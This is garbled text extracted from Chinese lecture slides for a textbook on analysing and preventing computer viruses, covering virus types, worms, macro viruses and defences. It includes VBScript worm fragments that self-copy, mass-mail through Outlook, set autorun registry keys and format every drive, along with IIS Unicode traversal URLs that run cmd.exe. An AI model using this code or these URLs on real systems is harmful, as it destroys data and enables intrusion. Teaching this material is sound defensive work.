资源描述
单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,*,单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,第,*,页,计算机病毒分析与防治教程 清华大学出版社,单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,第,*,页,计算机病毒分析与防治教程 清华大学出版社,单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,第,*,页,计算机病毒分析与防治教程 清华大学出版社,单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,第,*,页,计算机病毒分析与防治教程 清华大学出版社,计算机病毒概述,计算机病毒(Computer Virus)的定义:,1984年,最早由计算机病毒之父弗雷德科恩博士(Fred Cohen)定义为:“计算机病毒是一种计算机程序,它通过修改其它程序把自身或其演化体插入它们中,从而感染它们。”,国外最流行的定义为:“计算机病毒,是一段附着在其他程序上的可以实现自我繁殖的程序代码。”,1994年2月18日,中华人民共和国计算机信息系统安全保护条例定义:,计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者数据,影响计算机使用,并且能够自我复制的一组计算机指令或者程序代码”。,我国对计算机病毒的定义,“磁芯大战”(core war)60年代,贝尔实验室,计算机病毒的发展历史,1983,年,世界上第一例被证实的计算机病毒,同时出现了计算机病毒传播的研究报告,1984,年,美国人,Thompson,开发出了针对,UNIX,操作系统的病毒程序,1988,年,11,月,3,日,,美国六千多台计算机(占当时整个互联网十分之一)被WORM病毒感染。,美国康奈尔大学研究生,Robert Morris(罗伯特莫里斯),计算机病毒的产生背景,计算机软硬件产品的脆弱性是病毒产生的根本技术原因,计算机的广泛应用是计算机病毒产生的必要环境,特殊的政治、经济和军事目的是计算机病毒产生的加速器,感染性:,病毒的基本特征,自我复制能力。,破坏性:,病毒会对系统产生不同程度的影响。,隐藏性:,用户通常感觉不到病毒的存在,。,潜伏性:,一般,不会马上发作,。,可激活性:,病毒因某个事件或数值的出现而发作。,针对性:,病毒的编制者往往有特殊的破坏目的。,计算机病毒的特征,病毒的破坏手段,攻击系统数据区 主引导扇区等,破坏计算机硬件,攻击文件 系统文件、用户数据等,攻击内存 占用大量内存等,干扰系统运行 不执行命令、死机等,速度下降,盗取信息 窃取密码等,软盘,软盘作为最常用的交换媒介,在计算机应用的早期对病毒的传播发挥了巨大的作用。,光盘,光盘因为容量大,存储了大量的可执行文件,大量的病毒就有可能藏身于光盘。,硬盘,由于带病毒的硬盘在本地或移到其他地方使用、维修等,将干净的软盘传染并再扩散。,计算机病毒的传播途径,网络,通过BBS、EMAIL等网络方式进行传播,是现代病毒的最主要传播途径。,计算机系统的运行速度异常减慢。,计算机系统出现异常死机或重新启动现象。,系统文件的属性及大小发生改变。,数据文件内容被修改或删除。,计算机系统的存储容量异常减少。,系统可用内存容量大量减少。,网络病毒破坏网络系统。,病毒的表现症状,计算机病毒的触发,时间、日期作触发条件,计数器作触发条件,键盘字符输入作触发条件,特定文件出现作触发条件,综合触发条件,Ha Ha Ha,计算机病毒作者,实验者,恶作剧者,为特殊目的宣传者,报复者,按攻击的对象分:,攻击微型机,攻击小型机,攻击大型机,攻击计算机网络,计算机病毒的分类,按寄生的方式分:,覆盖式寄生病毒:,破坏合法程序的部分或全部功能,代替式寄生病毒:,使病毒程序以“合法”身份运行,链接式寄生病毒:,将自身程序附加在宿主程序之后,添充式寄生病毒:,侵占宿主程序的空闲存储空间,转储式寄生病毒,:,将宿主程序代码改变存储位置,计算机病毒的分类,按感染的方式分:,引导扇区病毒:,引导扇区病毒用它自己的数据来代管硬盘的原始引导扇区,并将病毒装入内存。,文件感染病毒:,文件感染病毒将病毒代码加到可运行的程序文件中,在运行程序时即被激活。,综合型感染病毒:,是指既感染磁盘引导区程序,又感染系统文件的综合病毒。,计算机病毒的分类,按侵入的途径分:,源码病毒:,指病毒在源程序被编译前就被插入到源程序中,。,操作系统病毒:,指病毒程序将自身加入或替代操作系统工作。,入侵病毒:,用自身代替正常程序中的部分模块或堆栈区。,外壳病毒:,将自身程序放在主程序的周围,一般不对原来的程序进行修改。,计算机病毒的分类,特洛伊木马,蠕虫病毒,宏病毒,脚本病毒,恶意网页病毒,结合黑客技术的病毒,常见计算机病毒的类型,由来:,源于希腊对,特洛伊城,的战争;,寓意“一经进入,后患无穷”。,特洛伊木马(,Trojan Horse,),定义:,特洛伊木马是一种程序,它提供了一些有用的功能,通常是一些用户不希望的功能,诸如在你不了解的情况下拷贝文件或窃取你的密码,或直接将重要资料转送出去,或破坏系统等等。,概述:,特洛伊木马是一种或是直接由一个黑客,或是通过一,个不令人起,疑,的用户秘密安装到目标系统的程序。一旦安装成功并取得管理员权限,安装此程序的人就可以直接远程控制目标系统。,特洛伊木马(,Trojan Horse,),特点:,隐蔽性,难以察觉,客户端/服务器模式,分类:,远程访问型,密码发送型,键盘记录型,综合型,特洛伊木马(,Trojan Horse,),著名木马:,国外BO(Back Orifice),端口31337,国内冰河,端口7626,特洛伊木马(,Trojan Horse,),防御,:,用网络扫描软件,定期监视内部主机上的,TCP,服务,,定期检查注册表,定期用,防病毒软件查杀,等,。,警惕:,不要轻易打开陌生人的信件附件,不要轻易接收网友的小程序或打开网址,不要到一些小,的,网站或者黑客网站下载软件,由来:,一种体积很小、繁殖很快、爬行迟缓的小虫子,感染的计算机运行起来像蠕虫爬行那样缓慢,蠕虫病毒(Worm Virus),定义:,蠕虫病毒是一种能自我复制的程序,并能通过计算机网络进行传播,它大量消耗系统资源,使其它程序运行减慢以至停止,最后导致系统和网络瘫痪。,特点:,传播速度快,感染范围广,反复感染,难以根除,隐蔽性好,破坏性大,著名的蠕虫病毒:,1988年,Morris,第一个蠕虫病毒,2001年,“尼姆达”病毒(Nimda),2001年,“求职信”病毒(wantjob),2003年,“2003蠕虫王”病毒,蠕虫病毒(Worm Virus),宏病毒(Macro Virus),宏:,是一系列自己编写或录制的命令和指令,用来实现任务执行的自动化。,宏病毒:,是一种存在Word或模版中的计算机病毒,一旦打开这样的文档,宏病毒就会被激活,传染到其它计算机上,并驻留在Normal模版中,此后,自动保存的文档都会被感染。,宏病毒(Macro Virus),宏病毒的特征:,宏病毒会感染.DOC文档和.DOT模板文件。,宏病毒的传染通常是Word在打开一个带宏病毒的文档或模板时,激活宏病毒。,多数宏病毒包含AutoExec、AutoOpen和AutoNew等自动宏,通过这些自动宏病毒取得文档(模板)操作权。,Word 与宏,.DOC: 文件格式(document format),.DOT: 模板格式(template format),当Word 开启一个文件(.DOC 格式)时,会先开启一个范本文档(.DOT 格式), 载入所有的设定,如文件样式,字型,字型大小及行距等,共用宏(Global Macros)与自用宏(Local Macros),早期的应用程式仅提供共用宏,所有的文件均使用之.,Microsoft Word 则提供了自用宏,让使用者可以将宏只用在一个或数个文件上,.,文件宏病毒如何感染?,宏病毒(Macro Virus),宏病毒的防治方法:,保护Word模板文件。,查看“可疑”的宏。,小心使用外来的,Word,文档,。,屏蔽自动执行宏。,利用专业杀毒软件查杀宏病毒。,脚本病毒,VBS脚本病毒:,VBS病毒由VB Script编写而成,更甚于宏病毒。,VBS脚本病毒的特征:,编写简单,破坏力大,传播范围大,病毒源码容易被获取,变种多,著名脚本病毒:爱虫病毒、新欢乐时光,恶意网页病毒,恶意网页病毒:,利用IE的ActiveX漏洞的病毒,修改用户的IE设置、注册表选项,下载木马、恶意程序或病毒,格式化用户硬盘或删除用户的文件,具有主动攻击性,著名恶意网页病毒:爱情森林,结合黑客技术的病毒,黑客技术+病毒:,同黑客技术结合的网络病毒将成为计算机病毒的主流,传统的计算机病毒,:,主要依靠某种媒介进行传播,比如软盘、光盘或者电子邮件等。,结合黑客技术的病毒:,只要你的系统有后门,有漏洞,就可能感染病毒。,结合黑客技术的病毒,红色代码病毒:,利用Windows服务器的系统漏洞,使用主动传播方式,发动DoS(拒绝服务)攻击,遭到攻击的计算机上植入木马程序 ,远程控制服务器,冲击波病毒:,完全主动地直接扫描互联网上的计算机,一旦发现其存在RPC漏洞,就立即进入并开始发作。,引导区型病毒,系统引导过程,如小球、石头、火炬,文件型病毒,有的是引导型及文件型的混和型,如:黑色星期五 ,DIR II, 1465,变形病毒,幽灵病毒,变形原理:将自身变形,边运行边还原,不能靠 “特征串”来进识别,病毒生成器/加密器,CIH等病毒,1998,1999,2000/4/26 CIH,直接对计算机硬件中的程序进行破坏,宏病毒,Word等文档中的宏程序,使得病毒能跨平台传播,更容易编写,如,解决方法:,Word,工具宏安全性,网络病毒,包括脚本类、木马/黑客类、蠕虫类病毒等,通过网络漏洞、邮件、网页、后门等方式传播,一些特点:,多利用系统的漏洞,针对QQ、MSN等即时通讯软件,感染文件/乱发邮件/乱发网络信息包,开后门、以获取信息、操控系统,尼姆达病毒,这是一种传播迅速的网络邮件病毒。 它是利用了微软的Unicode Web Traversal exploit.漏洞编写的通过电子邮件传播的新型蠕虫病毒,病毒通过不断搜索局域网内共享的网络资源,将病毒文件复制到不同共享计算机及没有打补丁的微软IIS Web Server。,传播方式,通过电子邮件从一个客户端感染另一个客户端,通过开放的网络共享从一个客户端感染另一个客户端,通过浏览被感染的网站从Web 服务器感染客户端,通过主动扫描或利用 “Microsoft IIS 4.0 / 5.0 directory traversal”的缺陷”从客户端感染Web 服务器,通过扫描 “Code Red” (IN-2001-09),和 “sadmind/IIS” (CA-2001-11) 留下的后门从客户端感染Web 服务器,邮件传播感染情况:,病毒从HTM和HTML文件中搜集E-MAIL地址,病毒从OUTLOOK地址簿中收集E-MAIL地址 将病毒通过SMTP发给以上收集来的e-mail用户,主题: 空或随意 邮件正文: 空 附件: README.EXE,该病毒除了改变网页的目录以繁衍自身外没有其它破坏性的行为。但通过大量发送电子邮件和扫描网络可以导致网络的“拒绝服务”(DoS)。,流氓软件,广告软件(Adware),间谍软件(Spyware),浏览器劫持,行为记录软件(Track Ware),恶意共享软件(malicious shareware),反病毒技术,病毒特征判断,静态广谱特征扫描,动态仿真跟踪技术,启发式智能代码分析,病毒防护措施,备份数据 (最重要!),安装防毒软件并即时更新,江民KV300 瑞星 金山 KILL Pccillin MaCafe,Norton 参见:,到电子市场买一套正版的杀毒软件。,断开网络,进入安全模式(启动时按F7或F8),安装杀毒软件,全面杀毒,关机。,重新开机,联上网,升级杀毒软件,并给系统打补丁。,安装防火墙,原理:包过滤和代理服务,产品:天网 瑞星 金山 Norton,更新(打补丁),慎,诱惑:光盘、邮件、网页、图片、音乐、软件、游戏、QQ,特别注意相似网址,如 1cbc, myqq等,介绍几个技术措施,IE的安全,工具Internet选项安全自定义级别安全设置ActiveX插件和控件,Word的宏安全,Word,工具宏安全性,注册表修复(有关IE的设置),瑞星注册表修复工具,安全漏洞检查,MBSA (微软),杀毒软件自带的安全漏洞检查,网络查看,开始,运行:,netstat a,网络共享目录的权限,目录(右击),共享权限,关闭不必要的服务,控制面板,服务选Messager等服务属性启动方式,关闭不必要的启动程序,使用RegEdit进行注册表的编辑,HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun,及RunService,杀掉不必要的进程,开始,运行: ntsd c q p xxxx,其中xxxx为进程号(PID),,可通过Ctrl+Alt+Del,任务管理器,进程 来查看PID,*注册表的维护,RegEdit(开始,运行RegEdit),RegEditX,如:我的电脑HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下面的信息表示每次开机都启动的程序,“优化大师”等软件,注册表概念,注册表,是Windows操作系统、各种硬件设备以及应用程序得以正常运行的核心“数据库”,几乎所有的软件、硬件以及系统设置问题都和注册表息息相关,Windows系统通过注册表统一管理系统中的各种软硬件资源。,注册表数据库中保存着系统硬件和软件设置信息,在系统启动、配置安装程序等重要事件发生时,向系统提供重要数据信息。,计算机,管理,计算机,管理,应用程序,操作系统,硬 件,注册表,注册表编辑器,打开“开始”菜单,在“运行”中输入Regedit,,启动注册表编辑器。,注意:在对注册表做任何修改之前,必须将注册表备份。,计算机,管理,注册表的基本结构,注册表是一种层次数据库,其中的层次类似于硬盘上的目录结构: 最上一级是根键(root key),其中包含一个或多个子键(subkey),每个子键又包含子键或键值(value),键和子键类似于文件夹和文件,键值类似于文件夹中的文件,用于保存信息,但是每一个键值只能存储一个数据。,计算机,管理,注册表的基本结构,常见的安全措施口令,口令,原则:自己易记、他人难猜、经常更改,技巧:不与自己直接相关,而是间接相关,并且不能太短,字母、数字、符号混合,在公共场合使用口令要谨慎,不能让IE记住口令,注意防护:,一些口令破解软件,,如Advanced Pdf password covery,如Rar Password Cracker, Passware,防止木马,口令使用经验谈,不要使用本人的生日、身证件号码、银行账户中的前几位、后几位或姓名的拼音作为密码。,不要将密码设置为相同的数字或字母,尽量使用数字与字母的组合构成密码,不要将密码设置为有顺序的数字或字母,不要将网上银行“登录密码”和“交易密码”设置成相同的密码,在任何情况下不能将密码透漏给他人,,包括银行工作人员,在使用网上银行时,最好不要直接用键盘输入密码,而用“密码软键盘”输入密码,常见的安全措施正确使用网银,常见方式“钓鱼”,“钓鱼”之一:电子邮件,“钓鱼”之二:盗号木马,“钓鱼”之三:网址欺骗,防钓鱼,直接输入域名,用密码软键盘,加密交易信息,使用加密控件,使用密码U盘,使用https协议,同样,防止短信诈骗,5.7 本章习题填空题,(1) 计算机病毒虽然种类很多,通过分析现有的计算机病毒,几乎所有的计算机病毒都是由3个部分组成,即_、_和_。,(2) 病毒不断发展,我们把病毒按时间和特征分成_个阶段。,(3) 病毒按传染方式可分为_型病毒、_型病毒和_型病毒3种。,(4) 目前病毒采用的触发条件主要有以下几种:_触发、键盘触发、感染触发、_触发、访问磁盘次数触发、调用中断功能触发和CPU型号/主板型号触发。,(5) 现在世界上成熟的反病毒技术已经完全可以彻底预防、彻底杀除所有的已知病毒,其中主要涉及以下3大技术:_技术、_技术和全平台反病毒技术。,选择题,(1) ( )是病毒的基本特征。计算机病毒也会通过各种渠道从已被感染的计算机扩散到未被感染的计算机。,A潜伏性 B传染性 C欺骗性 D持久性,(2) 计算机病毒行动诡秘,计算机对其反应迟钝,往往把病毒造成的错误当成事实接受下来,故它很容易获得成功,故它具有( )。,A潜伏性 B传染性 C欺骗性 D持久性,简答题,(1) 简述计算机病毒的发展过程。,(2) 如何防范计算机病毒?,(3) 如何清除计算机病毒?,(4) 简要介绍病毒的危害。,(5) 简要介绍病毒发展的新技术。,(6) 简要介绍怎样识别病毒。,(7) 简述计算机病毒的新发展动向。,(8) 简述计算机的新防病毒技术。,第5章 网络蠕虫病毒,计算机病毒分析与防治教程 清华大学出版社,教学目标,教学重点,教学过程,教学目标,蠕虫的定义,特征,传播手段,防范蠕虫病毒,教学重点,组件与脚本对组件的调用,蠕虫病毒的传播方式,蠕虫与溢出,典型蠕虫病毒分析,5.1 预备知识,蠕虫病毒,蠕虫这个名词的由来是在1982年,Shock和Hupp根据The Shockwave Rider一书中的概念提出了一种“蠕虫(Worm)”程序的思想。,蠕虫(Worm)是病毒的一种,它的传播通常不需要所谓的激活。它通过分布式网络来散播特定的信息或错误,进而造成网络服务遭到拒绝并发生死锁。,具有病毒共性:如传播性、隐蔽性、破坏性等,独有的性质:不利用文件寄生,对网络造成拒绝服务,以及和黑客技术相结合等等,5.1 预备知识,两类:,一种是面向企业用户和局域网而言,这种病毒利用系统漏洞,主动进行攻击,可以对整个互联网可造成瘫痪性的后果。以“红色代码”、“尼姆达”以及最新的“SQL蠕虫王”为代表。,另外一种是针对个人用户的,通过网络(主要是电子邮件、恶意网页形式)迅速传播的蠕虫病毒,以爱虫病毒、求职信病毒为代表。,和普通病毒的区别:,5.1 预备知识,蠕虫有不少是PE格式的文件,也有不少是用脚本文件来编写的。典型的脚本语言有VBScript和JavaScript。脚本和组件造就了,“动感十足”的网页,也是许多脚本病毒生存的基础。,脚本(Scripting)是由一系列的解释性语句所组成的(区别于exe文件的二进制代码),由脚本解释器(如wscript.exe)解释执行的代码。,VBScript 脚本,VBScript是微软开发的脚本语言。是一种与Visual Basic类似的程序语言,它用于HTML中,可以串连和控制ActiveX,可以使程序员设计出生动活泼、交互式的Web的应用程序。VBScript既可以在客户端运行,也可以在服务器端运行。,VBScript脚本格式,.,为了避免有的浏览器不能识别VBScript,在其内再嵌套使用成对标志:,当浏览器不能识别时当作注释忽略过去,因此完整格式如下:,JavaScript脚本,由,Netscape,(网景)公司开发,主要用来增强,HTML,的功能,使开发人员制作的主页更具有变化性和交互性。,JavaScript,是一种基于对象(,Object,)和事件驱动(,Event Driven,)并具有安全性的脚本语言。,一个JavaScript程序,alert(这是第一个JavaScript例子!);,双击此文件将在浏览器中运行。alert()是JavaScript的窗口对象方法。,组件与脚本对组件的调用,VBScript使用组件举例,New Page 1,JavaScript使用组件举例,New Page 1,var fso = new ActiveXObject(Scripting.FileSystemObject);,var a = fso.CreateTextFile(d:testfile.txt, true);,a.WriteLine(This is a test.);,a.Close();,VBS脚本病毒防治,脚本病毒不象传统的病毒调用汇编程序来实现破坏功能,只能通过调用已经编译好的带破坏功能的程序来实现破坏功能,只要把本地具有破坏功能的程序改名就可以了。,VBS脚本的病毒需要WScript.exe来解释执行,可以通过运行WScript.exe来限制运行时间。,方法一:,开始-运行- WScript.exe,勾选“经过指定的秒数后停止运行脚本”,设置为最小值即可。,VBS脚本病毒防治,方法二:,卸载Windows Script Host解释器。控制面板-添加/卸载windows组件-脚本调试器。,注:如果要进行动网页设计本办法不可取!,方法三:,删除BVS、VBE、JS、JSE文件后缀名与应用程序的映射。,我的电脑-工具-文件夹选项-文件类型标签,选中文件,删除;,VBS脚本病毒防治,方法四:,设置浏览器,打开浏览器-工具-Internet选项-安全标签-自定义级别-安全设置,选择“ActiveX控件及插件”禁用。,5.2,网络蠕虫的特点,利用操作系统和应用程序的漏洞主动进行攻击,传播方式多样,病毒制作技术与传统的病毒不同,与黑客技术相结合,潜在的威胁和损失更大,蠕虫病毒的特性,第一,利用漏洞主动进行攻击,第二,病毒制作技术新,第三,与黑客技术相结合,潜在的威胁和损失更大,第四,传染方式多,第五,传播速度快,第六,清除难度大,第七,破坏性强,蠕虫病毒的机理,蠕虫病毒由两部分组成:一个主程序和另一个是引导程序。,主程序收集与当前机器联网的其他机器的信息。利用漏洞在远程机上建立引导程序。,引导程序把“蠕虫”病毒带入了它所感染的每一台机器中。,当前流行的病毒主要采用一些已公开漏洞、脚本、电子邮件等机制进行传播。例如,IRC, RPC 等漏洞。,蠕虫病毒的传播方式,蠕虫的基本程序结构为:,传播模块:负责蠕虫的传播;,隐藏模块:侵入主机后,隐藏蠕虫程序,防止被用户发现;,目的功能模块:实现对计算机的控制、监视,或破坏等功能。,传输模块又分为三个基本模块:扫描模块、攻击模块和复制模块。,蠕虫病毒的传播方式,扫描:有蠕虫的扫描功能模块负责探测存在漏洞的主机。当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象;,攻击,:攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限(一般为管理员权限),获得一个shell;,复制,:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。,举例,Set objFs=CreateObject (“Scripting.FileSystemObject”)(创建一个文件系统对象),objFs.CreateTextFile (C:virus.txt, 1)(通过文件系统对象的方法创建了TXT文件),objFs.GetFile (WScript.ScriptFullName).Copy (“C:virus.vbs”),就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征自我复制能力。,举例,此类病毒往往是通过邮件传播的,Set objOA=Wscript.CreateObject (Outlook.Application)(创建一个OUTLOOK应用的对象),Set objMapi=objOA.GetNameSpace (MAPI)(取得MAPI名字空间),For i=1 to objMapi.AddressLists.Count(遍历地址簿),Set objAddList=objMapi.AddressLists (i),For j=1 To objAddList. AddressEntries.Count,Set objMail=objOA.CreateItem (0),objMail.Recipients.Add (objAddList. AddressEntries (j)(取得收件人邮件地址 )objMail.Subject=你好! (设置邮件主题,这个往往具有很大的诱惑性质),objMail.Body=这次给你的附件,是我的新文档! (设置信件内容),objMail.Attachments.Add (“c:virus.vbs)(把自己作为附件扩散出去 ),objMail.Send(发送邮件),Next,Next,Set objMapi=Nothing(清空objMapi变量,释放资源),set objOA=Nothing(清空objOA变量),举例,蠕虫病毒在潜伏时的特点,它们多数是修改注册表等信息以判断各种条件及取消一些限制,On Error Resume Next,容错语句,避免程序崩溃,dim wscr,rr,set wscr=CreateObject (WScript.Shell),击活 WScript.Shell 对象,rr=wscr.RegRead (HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout),读入注册表中的超时键值,if (rr=1) then,超时设置,wscr.RegWrite HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout,0,REG_DWORD,end if,上面这部分代码很明显是调整脚本语言的超时设置。下面的一段代码则是修改注册表,使得每次系统启动自动执行脚本:,regcreate HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion,RunMSKernel32,dirsystem&MSKernel32.vbs,regcreate HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion,RunServicesWin32DLL,dirwin&Win32DLL.vbs,举例,蠕虫病毒具有特定的触发性,x=time (),if x=xx.xx.xx then,end if,就这么简单一个程序,就可以实现特定条件触发事件的目的。当然了,病毒制作者还可以通过监视运行某个程序而触发事件,也可以响应键盘触发事件等等。,举例,蠕虫病毒具有很大的破坏性,sub killc (),破坏硬盘的过程,On Error Resume Next,容错语句,避免程序崩溃,dim fs,auto,disc,ds,ss,i,x,dir,Set fs = CreateObject (Scripting.FileSystemObject),Set auto = fs.CreateTextFile (c:Autoexec.bat, True),建立或修改自动批处理,auto.WriteLine (echo off),屏蔽掉删除的进程,auto.WriteLine (Smartdrv),加载磁盘缓冲,好毒啊!,Set disc = fs.Drives,得到驱动器的集合,For Each ds in disc,If ds.DriveType = 2 Then,如果驱动器是本地盘,ss = ss & ds.DriveLetter,就将符号连在一起,End if,Next,ss=LCase (StrReverse (Trim (ss),得到符号串的反向小写形式,For i=1 to Len (ss),遍历每个驱动器,x=Mid (ss,i,1),读每个驱动器的符号,auto.WriteLine,(,format/autotest/q/u &x&:,),反向 (从Z:到A:)自动格式化驱动器,狠毒啊!,next,For i=1 to Len (ss),x=Mid (ss,i,1),auto.WriteLine (deltree/y &x&:),怕Format失效用Deltree双保险,知道厉害了吧,next,auto.Close,关闭批处理文件,set dir=fs.GetFile (c:Autoexec.bat),dir.attributes=dir.attributes+2,将自动批处理文件改为隐藏,End sub,5.3,利用UNICODE漏洞,在计算机科学领域中,Unicode(统一码、万国码、单一码、标准万国码)是业界的一种标准,它可以使电脑得以呈现世界上数十种文字的系统。Unicode 是基于通用字符集(Universal Character Set)的标准来发展,并且同时也以书本的形式(The Unicode Standard,目前第五版由Addison-Wesley Professional出版,ISBN-10: 0321480910)对外发表。Unicode包含了超过十万个字符(在2005年,Unicode的第十万个字符被采纳且认可成为标准之一)、一组可用以作为视觉参考的代码图表、一套编码方法与一组标准字符编码、一套包含了上标字、下标字等字符特性的列举等。,Unicode组织(The Unicode Consortium)是由一个非营利性的机构所运作,并主导Unicode的后续发展,其目标在于:将既有的字符编码方案,以 Unicode编码方案来加以取代,特别是既有的方案在多语环境下,皆仅有有限的空间以及不相容的问题。,Unicode在字符集认可的成功,使其得以在电脑软件的国际化与本地化领域中,广泛且具优势的被采用。这标准已在近年来的多种新科技当中被加以采用,包含了可扩展置标语言(XML)、Java编程语言、以及最新的操作系统中。,5.3,利用UNICODE漏洞,Unicode是国际组织制定的可以容纳世界上所有文字和符号的字符编码方案。Unicode用数字0-0x10FFFF来映射这些字符,最多可以容纳1114112个字符,或者说有1114112个码位。码位就是可以分配给字符的数字。UTF-8、UTF-16、UTF-32都是将数字转换到程序数据的编码方案。,Unicode字符集可以简写为UCS(Unicode Character Set)。早期的Unicode标准有UCS-2、UCS-4的说法。UCS-2用两个字节编码,UCS-4用4个字节编码。,在Unicode中:汉字“字”对应的数字是23383。在Unicode中,我们有很多方式将数字23383表示成程序中的数据,包括:UTF-8、UTF-16、UTF-32。UTF是“UCS Transformation Format”的缩写,可以翻译成Unicode字符集转换格式,即怎样将Unicode定义的数字转换成程序数据。,Unicode在Word中的具体应用,在按住Alt的同时在小键盘处输入Unicode编码,;,从汉字Unicode内码到汉字:将光标定位到Unicode内码右侧,按组合键ALT+X,则可将该汉字Unicode内码转换成汉字。,当然,要想在电脑上显示Unicode支持的所有汉字,得安装UniFonts5.3。,5.3,利用UNICODE漏洞,什么是UNICODE漏洞,:,UNICODE漏洞也叫做目录遍历漏洞,.,NSFOCUS安全小组发现IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。,对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如%c1%hh 或者%c0%hh它会首先将其解码变成:0xc10xhh, 然后尝试打开这个文件,Windows 系统认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果 0x00= %hh (0xc1 - 0xc0) * 0x40 + 0xhh,%c0%hh - (0xc0 - 0xc0) * 0x40 + 0xhh,因此,利用这种编码,我们可以构造很多字符,例如:,%c1%1c - (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = /,%c0%2f - (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ,攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。 (1) 如果系统包含某个可执行目录,就可能执行任意系统命令。,5.3,利用UNICODE漏洞,此漏洞由于入侵者利用服务器扩展UNICODE字符取代“/”和“”“./”,使服务器目录遍历出现漏洞。未经授权的用户可能利用IUSR_servername账号的上下文空间访问任何已知的文件。该账号在默认情况下属于Everyone和Users组的成员,因此任何与Web根目录在同一逻辑驱动器上的能被这些用户组访问的文件都有可能被删除、修改或执行,就如同合法用户成功登录所能执行的操作一样。,下面的URL可能列出当前目录的内容 NT4 编码为:%c1%9c,Win2000 英文版 编码为:%c0%af,5.3,利用UNICODE漏洞,检测UNICODE漏洞,这里用简体中文版Windows 2000进行检测,其windows NT服务器版本可以根据其UNICODE编码进行检测。,在地址栏输入如下其中之一的内容:,http:/目标机/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+dir+c:,http:/目标机/scripts/.%255c./winnt/system32/cmd.exe?/c+dir+c:,http:/目标机/scripts/.%c1%1c./.%c1%1c./.%c1%1c./winnt/system32/cmd.exe?/c+dir,http:/目标机/scripts/.%c0%2f./winnt/system32/cmd.exe?/c+dir+c:,http:/目标机/scripts/.%c0%2f./.%c0%2f./.%c0%2f./winnt/system32/cmd.exe?/c+dir,http:/目标机/_vti_bin/.%255c./.%255c./.%255c./winnt/system32/cmd.exe?/c+dir+c:,http:/目标机/_vti_bin/.%c0%2f./.%c0%2f./.%c0%2f./winnt/system32/cmd.exe?/c+dir,http:/目标机/_vti_bin/.%c1%1c./.%c1%1c./.%c1%1c./winnt/system32/cmd.exe?/c+di,http:/目标机/msadc/.%255c./.%255c./.%255c/.%c1%1c./.%c1%1c./.%c1%1c./wnnt,/system32/cmd.exe?/c+dir+c:,http:/目标机/msadc/.%c1%1c./.%c1%1c./.%c1%1c./winnt/system32/cmd.exe?/c+dir,http:/目标机/msadc/.%c0%2f./.%c0%2f./.%c0%2f./winnt/system32/cmd.exe?/c+dir,输入以上任意一条向服务器请求内容,可出现的结果就是服务器目录遍历,如图所示。,5.3,利用UNICODE漏洞,扫描UNICODE漏洞,5.4 蠕虫与溢出,基于栈的缓冲区溢出,基于堆的缓冲区溢出,修改指针的溢出,栈溢出举例,溢出前后比较,溢出后内存与寄存器,缓冲区溢出漏洞的避免方法,通过操作系统使得缓冲区不可执行,检查容易出错的函数,数组边界检查,程序指针完整性检查,5.5 典型蠕虫病毒分析,“美丽莎”病毒分析,“求职信”病毒介绍,“冲击波”病毒分析,“欢乐时光”病毒介绍,美丽莎 Melissa(经典宏病毒),这个病毒专门针对微软的电子邮件服务器MS Exchange和电子邮件收发软件Outlook Express,是一种Word宏病毒,利用微软的Word宏和Outlook Express发送载有80个色情文学网址的列表,它可感染Word 97或Word 2000。当用户打开一个受到感染的Word 97或Word 2000文件时,病毒会自动通过被感染者的MS Exchange 和Outlook Express的通讯录,给前50个地址发出带有W97M_MELISSA病毒的电子邮件。,如果某个用户的电子信箱感染了“美丽杀手”病毒,那么,在他的信箱中将可以看到标题为“Important message from XX(来自XX的重要信息)”的邮件,其中XX是发件人的名字。正文中写道,“这是你索要的文件不要给其他人看;)。”此外,该邮件还包括一个名为list.doc的Word文档附件,其中包含大量的色情网址。,Word宏病毒感染过程,编制语言VBAWordBasic等,环境:VBE,宏病毒定义,宏病毒是利用系统的开放性专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机的使用,并能通过文档及模板进行自我复制及传播。,支持宏病毒的应用系统特点,要达到宏病毒传染的目的,系统须具备以下特性:,可以把特定的宏命令代码附加在指定文件上;,可以实现宏命令在不同文件之间的共享和传递;,可以在未经使用者许可的情况下获取某种控制权。,可支持宏病毒的应用系统,Microsoft公司的WORD、EXCEL、Access、PowerPoint、Project、Visio等产品;,Inprise公司的Lotus AmiPro字处理软件;,此外,还包括AutoCAD、Corel 